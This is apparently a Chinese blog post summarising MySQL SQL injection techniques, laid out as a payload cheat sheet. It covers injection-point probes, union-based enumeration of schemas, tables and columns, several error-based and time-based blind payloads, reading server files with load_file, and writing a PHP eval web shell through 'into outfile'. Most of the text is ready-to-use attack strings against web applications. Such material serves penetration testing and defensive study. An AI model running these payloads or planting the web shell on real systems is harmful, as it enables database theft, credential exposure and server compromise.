mysql sql注入小结

更新时间:

 许可信息:  本文采用 自由转载-非商用-非衍生-保持署名 许可协议,作者alpha1e0,转载请注明作者或出处链接。

本文介绍mysql sql注入的基本原理、用法

1 特殊符号

注释符:#、 /*、— (后面加空格)
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
空格:使用/**/或()或+代替空格

2 mysql重要的系统数据库

系统数据库非常重要,它是存储数据库的数据库,例如用户创建了数据库test,则关于这个数据库的信息:数据库名、数据库列定义等信息都会存储在系统数据库中。它是sql漏洞利用的关键信息来源,渗透测试人员需要通过阅读这些数据库信息找到系统的敏感数据库。

mysql.user                           /*存储mysql数据库的用户及用户权限信息
information_schema.schemata          /*存储mysql中所有数据库
information_schema.tables            /*存储mysql中所有数据库的表
information_schema.columns           /*存储mysql中所有数据库的列
information_schema.user_privileges   /*存储mysql中所有数据库的权限信息

3 mysql常用操作

3.1 常用语法

select   /*用于输出信息;select 列名|(数字|字符串|函数) as 别名(as可以省略)[from …],注意使用select 函数来输出内容
union    /*联合操作符,注意前后列数相同,数据类型相差不大
group by /*分组
order by /*排序,order by 列名|列序号
case expr when a then a** when b then b* else c* end  /*sql的switch语句
if(expr1, expr2, expr3)  /*if函数,当expr1为真返回expr2否则返回expr3

3.2 常用函数(获取系统信息)

system_user()        /*系统用户名
user()               /*用户名
current_user()       /*当前用户名
session_user()       /*连接数据库的用户名
database()           /*数据库名
version()            /*MYSQL数据库版本
load_file()          /*MYSQL读取本地文件的函数
@@datadir            /*读取数据库路径
@@basedir MYSQL      /*安装路径
@@version_compile_os /*操作系统

3.3 常用字符串函数

concat()                          /*连接字符串
group_concat()
concat_ws()                       /*连接字符串,第一个参数为分隔符
char()                            /*获得字符串
left(str, len)                    /*截取str左边len位  
right(str, len)                   /*截取str右边len位
substring(str, pos, len)          /*截取字符串
rand()                            /*生成0至1的随机数
floor(n)                          /*向下取整 
name_conset(column_name, value)   /*用来产生一个结果集合

3.4 其他

sleep(seconds) 停止seconds秒,用于time-based盲注
benchmark(times, function) 将function执行times次,该函数可用于time-based盲注,例如(benchmark(500000, encode(‘a’,’b')))
encode(str, passwd_str) 使用passwd_str加密str函数

4 判断是否可注入

1、使用单引号‘判断注入,例如:

http://aaa.com/s.php?id=1',如果返回页面提示syntax error,则说明有漏洞

2、通过附加逻辑运算判断注入,例如:

http://aaa.com/s.php?id=1 and 1=1/and 1=2,and 1=1有返回,and 1=2无返回

3、通过算数运算判断注入点,例如:

例如:http://aaa.com/s.php?id=11-1

4、通过select语句判断注入点,例如:

http://aaa.com/s.php?id=(select 10)

5、通过时间函数判断注入点,例如:

http://aaa.com/s.php?id=2 and sleep(10)或者http://aaa.com/s.php?id=2 and benchmark(500000, encode('msg','bbb'))

5 常规注入

1、猜解列数 “order by n /* ”

2、查询mysql基本信息(假设数据库表有7列)

“ and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/* ”

例如:select * from sedb.site_tb where 1=2 union select 1,2,concat_ws(char(32,58,32),0x7c,user(),database(),version());

3、查询mysql数据库中有哪些数据库(注意使用limit限制查询的范围)

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

例如:select * from site_tb where 1=2 union select 1, 2, group_concat(schema_name) from information_schema.schemata;

4、查询某个数据库中有哪些表(数据库名可能需要16进制)

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库名

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库名

例如:select * from site_tb where 1=2 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='sedb';

5、查询某个表中有哪些字段(表名、数据库名可能需要16进制)

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名 and table_schema=数据库名 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名 and table_schema=数据库名/*

例如:select * from site_tb where 1=2 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='site_tb' and table_schema='sedb';

6、查询数据:

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

6 mysql报错注入

假设查询语句为:

select name,password from test.user where id={参数}

{参数}:按照mysql语法,where后可以跟and、union,因此可以1 and (select *)以及1 union select *来触发报错注入

因此插入报错语句位置如下:

select colum1,colum2 from table where id={0} and {1} union {2}

方法1,使用floor/left/right:

select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
select 1 from (select concat(user(),left(rand(),3)),count(*) from information_schema.tables group by 1)a;
select 1 from (select concat(user(),right(rand(),3)),count(*) from information_schema.tables group by 1)a;

例如:

select name,password from user where id=1 union select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'

方法2,使用name_const:

select 1 from (select name_const(version(),1),name_const(version(),1))x

例如:

select name,password from test.user where id=1 union select 1 from (select name_const(version(),1), name_const(version(), 1))x;

方法3,使用updatexml:

updatexml(1,concat(0x3a,user()),1)

例如:

select name,password from test.user where id=2 and updatexml(1,concat(0x3a,user()),1);

方法4,使用extractvalue:

extractvalue(1, concat(0x5c,version()))

例如:

select name,password from test.user where id=2 and extractvalue(1, concat(0x5c, version()));

方法5,使用exp:

exp(~(select*from(select user())x))

例如:

select name,password from test.user where id=exp(~(select*from(select user())x));

方法6,使用GeometryCollection:

GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from (select * from(select user())a)b))
multipoint((select * from (select * from(select user())a)b))
multilinestring((select * from (select * from(select user())a)b))
multipolygon((select * from (select * from(select user())a)b))
linestring((select * from (select * from(select user())a)b))

例如:

select name,password from test.user where id=2 and GeometryCollection((select * from (select * from(select user())a)b));

7 盲注(待补充)

利用and a=b盲注

例如:

?id=1 and substring(@@version,1,1)=5
?id=5 and (select 1 from users limit 0,1)=1   猜解users表是否存在
?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1  猜解列名
?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

8 mysql读写文件

8.1 判断是否具有读写权限:

and (select count(file_priv) from mysql.user)>0/*
and 1=2 union select 1,2, concat_ws(':', host, user, file_priv) from mysql.user/*
例如:select * from site_tb where 1=2 union select 1,2, concat_ws(':', host, user, file_priv) from mysql.user;

8.2 读文件

create table a(cmd text);
load data infile '/Users/apple/tmp/test.txt' into table a;
select * from a;   /* mysql 3.x 5.x

create table a(cmd text);
insert into a(cmd) values(load_file('/Users/apple/tmp/test.txt'));
select * from a;   /* mysql 3.x 4.x 5.x

and 1=2 union select 1, 2, concat(load_file('/Users/apple/tmp/test.txt'))
例如:select * from site_tb union select 1, 2, concat(load_file('/Users/apple/tmp/test.txt'));

8.3 写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*s
union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
例如:select * from site_tb union select 1, 2, '<?php eval(\"_POST[\'test\']\”);?>' into outfile 'shell.php';

8.4 插入、更新数据

insert into user(username,password) values(‘xxxx’,’ xxxx’),(‘dddd’,’dddd’)/* ‘);
update table set column=value where **/*

9 order by/limit类型注入

order by后面只能跟limit/into/procedure三个命令

limit后面只能跟into和procedure两个命令

使用:

procedure analyse (extractvalue(1,concat(0x5c,version())),1);

实现报错注入:

例如:

select 1 from mysql.user procedure analyse (extractvalue(1,concat(0x5c,version())),1);
select 1 from mysql.user order by 1 procedure analyse(extractvalue(1,concat(0x5c,version())),1);
select 1 from mysql.user limit 1,2 procedure analyse(extractvalue(1,concat(0x5c,version())),1);
select 1 from mysql.user order by 1 limit 1 procedure analyse(extractvalue(1,concat(0x5c,version())),1);

10 其他

关于mysql sql语句:

可以用括号将自语句括起来:

select user,password from users where user_id=1 union(select 1,schema_name from information_schema.schemata limit 1)

union 后面只能跟select语句,

 select user,password from users where user_id=1 union (select 1,(select 2))

select 中的字段可以嵌套select语句:

select user,password from users where user_id=1 union(select 1,(select schema_name from information_schema.schemata limit 1))

where后面的表达式可以是select语句:

id=5 and (select 1 from users limit 0,1)=1

嵌入select语句的位置有两个:select后面的列、where后面的表达式。select (select xx), select * from xx where (select **)>xx


11 参考:

  • http://www.91ri.org/9000.html
  • http://www.91ri.org/7636.html
  • http://yige.org/p/411
  • http://www.exploit-db.com/papers/13045/
  • https://forum.intern0t.org/web-hacking-war-games/818-blind-sql-injection.html
  • http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

标签:

 打赏:  如果您觉得该文档有用,可以选择微信扫码打赏,谢谢
微信打赏码